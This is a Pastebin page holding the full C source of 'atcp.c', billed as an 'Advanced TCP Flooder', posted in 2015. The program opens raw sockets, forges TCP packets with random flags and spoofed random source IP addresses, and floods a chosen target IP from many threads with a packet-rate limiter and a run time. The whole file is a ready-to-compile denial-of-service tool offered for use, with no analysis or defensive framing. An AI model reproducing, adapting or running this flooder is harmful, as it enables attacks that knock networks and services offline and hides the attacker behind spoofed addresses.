Advertisement
wtfbbq

atcp.c - Advanced TCP Flooder

Jun 29th, 2015
5,106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.13 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20. #define MAX_PACKET_SIZE 4096
  21. #define PHI 0x9e3779b9
  22. static unsigned long int Q[4096], c = 362436;
  23. volatile int limiter;
  24. volatile unsigned int pps;
  25. volatile unsigned int sleeptime = 100;
  26.  
  27. void init_rand(unsigned long int x)
  28. {
  29.     int i;
  30.     Q[0] = x;
  31.     Q[1] = x + PHI;
  32.     Q[2] = x + PHI + PHI;
  33.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  34. }
  35. unsigned long int rand_cmwc(void)
  36. {
  37.     unsigned long long int t, a = 18782LL;
  38.     static unsigned long int i = 4095;
  39.     unsigned long int x, r = 0xfffffffe;
  40.     i = (i + 1) & 4095;
  41.     t = a * Q[i] + c;
  42.     c = (t >> 32);
  43.     x = t + c;
  44.     if (x < c) {
  45.     x++;
  46.     c++;
  47.     }
  48.     return (Q[i] = r - x);
  49. }
  50. unsigned short csum (unsigned short *buf, int count)
  51. {
  52.     register unsigned long sum = 0;
  53.     while( count > 1 ) { sum += *buf++; count -= 2; }
  54.     if(count > 0) { sum += *(unsigned char *)buf; }
  55.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  56.     return (unsigned short)(~sum);
  57. }
  58.  
  59. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  60.  
  61.     struct tcp_pseudo
  62.     {
  63.     unsigned long src_addr;
  64.     unsigned long dst_addr;
  65.     unsigned char zero;
  66.     unsigned char proto;
  67.     unsigned short length;
  68.     } pseudohead;
  69.     unsigned short total_len = iph->tot_len;
  70.     pseudohead.src_addr=iph->saddr;
  71.     pseudohead.dst_addr=iph->daddr;
  72.     pseudohead.zero=0;
  73.     pseudohead.proto=IPPROTO_TCP;
  74.     pseudohead.length=htons(sizeof(struct tcphdr));
  75.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  76.     unsigned short *tcp = malloc(totaltcp_len);
  77.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  78.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  79.     unsigned short output = csum(tcp,totaltcp_len);
  80.     free(tcp);
  81.     return output;
  82. }
  83. void setup_ip_header(struct iphdr *iph)
  84. {
  85.     iph->ihl = 5;
  86.     iph->version = 4;
  87.     iph->tos = 0;
  88.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  89.     iph->id = htonl(54321);
  90.     iph->frag_off = 0;
  91.     iph->ttl = MAXTTL;
  92.     iph->protocol = 6;
  93.     iph->check = 0;
  94.     iph->saddr = inet_addr("192.168.3.100");
  95. }
  96. void setup_tcp_header(struct tcphdr *tcph)
  97. {
  98.     tcph->source = htons(5678);
  99.     tcph->seq = rand();
  100.     tcph->ack_seq = rand();
  101.     tcph->res2 = rand();
  102.     tcph->doff = 5;
  103.     tcph->syn = rand();
  104.     tcph->fin = rand();
  105.     tcph->psh = rand();
  106.     tcph->ack = rand();
  107.     tcph->urg = rand();
  108.     tcph->rst = rand();
  109.     tcph->window = rand();
  110.     tcph->check = rand();
  111.     tcph->urg_ptr = rand();
  112. }
  113.  
  114. void *flood(void *par1)
  115. {
  116.     char *td = (char *)par1;
  117.     char datagram[MAX_PACKET_SIZE];
  118.     struct iphdr *iph = (struct iphdr *)datagram;
  119.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  120.     struct sockaddr_in sin;
  121.     sin.sin_family = AF_INET;
  122.     sin.sin_port = rand();
  123.     sin.sin_addr.s_addr = inet_addr(td);
  124.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  125.     if(s < 0){
  126.     fprintf(stderr, "Could not open raw socket.\n");
  127.     exit(-1);
  128.     }
  129.     memset(datagram, 0, MAX_PACKET_SIZE);
  130.     setup_ip_header(iph);
  131.     setup_tcp_header(tcph);
  132.     tcph->dest = rand();
  133.     iph->daddr = sin.sin_addr.s_addr;
  134.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  135.     int tmp = 1;
  136.     const int *val = &tmp;
  137.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  138.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  139.     exit(-1);
  140.     }
  141.  
  142.     init_rand(time(NULL));
  143.     register unsigned int i;
  144.     i = 0;
  145.     while(1){
  146.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  147.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  148.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  149.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  150.     tcph->seq = rand_cmwc() & 0xFFFF;
  151.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  152.     tcph->check = 0;
  153.     tcph->check = tcpcsum(iph, tcph);      
  154.     pps++;
  155.     if(i >= limiter)
  156.     {
  157.     i = 0;
  158.     usleep(sleeptime);
  159.     }
  160.     i++;
  161.     }
  162. }
  163. int main(int argc, char *argv[ ])
  164. {
  165.     if(argc < 5){
  166.     fprintf(stderr, "Invalid parameters!\n");
  167.     fprintf(stdout, "Usage: %s [IP] [threads] [limiter] [time]\n", argv[0]);
  168.     exit(-1);
  169.     }
  170.     fprintf(stdout, "Opening threads...\n");
  171.     int num_threads = atoi(argv[2]);
  172.     int maxpps = atoi(argv[3]);
  173.     limiter = 0;
  174.     pps = 0;
  175.     pthread_t thread[num_threads];
  176.     int multiplier = 100;
  177.     int i;
  178.     for(i = 0;i<num_threads;i++){
  179.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  180.     }
  181.     fprintf(stdout, "Sending packets..\n");
  182.     for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  183.     {
  184.     usleep((1000/multiplier)*1000);
  185.     if((pps*multiplier) > maxpps)
  186.     {
  187.     if(1 > limiter)
  188.     {
  189.     sleeptime+=100;
  190.     } else {
  191.     limiter--;
  192.     }
  193.     } else {
  194.     limiter++;
  195.     if(sleeptime > 25)
  196.     {
  197.     sleeptime-=25;
  198.     } else {
  199.     sleeptime = 0;
  200.     }
  201.     }
  202.     pps = 0;
  203.     }
  204.     return 0;
  205. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement